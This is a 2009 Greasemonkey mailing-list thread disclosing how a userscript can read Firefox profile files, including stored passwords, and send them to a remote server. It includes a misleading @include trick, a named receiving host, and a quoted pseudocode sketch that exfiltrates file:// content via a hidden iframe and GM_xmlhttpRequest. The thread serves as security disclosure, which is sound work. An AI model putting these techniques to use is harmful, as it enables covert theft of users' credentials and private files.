I know that it sounds bad, but I was aware of this fact since at least a year ago. It is actually even worse, if you think a little about it.
I was waiting until some changes suggested by Aaron were implemented that would affect the way script are tell were to run on. Unfortunately these efforts went to no end. Since this is already public, I can provide a proof of concept. The initial inspiration came from a script of a japanese hacker that used a trick to read your profile folder from a Greasemonkey script. I used the idea to craft a script that would take your FF password files and send it to a remote server. My intention was to make this as unnoticed as possible, but there are a number of technical problems that (fortunately) prevent the script from totally hiding the script malicious actions. Attached you' find the script. It is Windows only because it relies in the windows file path structure. It can be easily adapted to other OS. My first version was for text files only. This version is capable of stealing binary files as well. In the script I'm using some other techniques such as inducing a naive user to think that the script runs only on a given domain by using something like @include *.wikipedia.og, while in reality the script can be triggered by loading file://something/else#foo.wikipedia.org as well. Note: the script uses a server side script of mine at http://evil-site.appjet.net/ for receiving the stolen files. Unfortunately appjet discontinued this service starting on July 1st 2009. The script it still illustrative. Enjoy. On Thu, Aug 6, 2009 at 1:28 AM, BD<[email protected]> wrote: > Yes, people can steal info using a GmScript that you can install. I was > talking about in your own GmScript, where you have the control. > > Anthony Lieuallen wrote: > > On 8/5/2009 2:55 AM, BD wrote: > > > The only person who can view file:/// content is you... > > > Imagine I am a malicious script author. > > // ==UserScript== > // @name Private Content Stealer > // @include * > // ==/UserScript== > > if ('file:'==document.location.protocol) { > // Transmit private data to my server! > GM_xmlhttpRequest(...); > } else { > // Make an iframe to a private file, which I will run on. > createHiddenIframe('file:///a/file/with/private/contents/here.txt'); > } > > Private files stolen. This is why there is a security dialog, which > presents the @include rules to you, before you install. --~--~---------~--~----~------------~-------~--~----~ You received this message because you are subscribed to the Google Groups "greasemonkey-users" group. To post to this group, send email to [email protected] To unsubscribe from this group, send email to [email protected] For more options, visit this group at http://groups.google.com/group/greasemonkey-users?hl=en -~----------~----~----~----~------~----~------~--~---
steal_file_from_profile.user.js
Description: JavaScript source
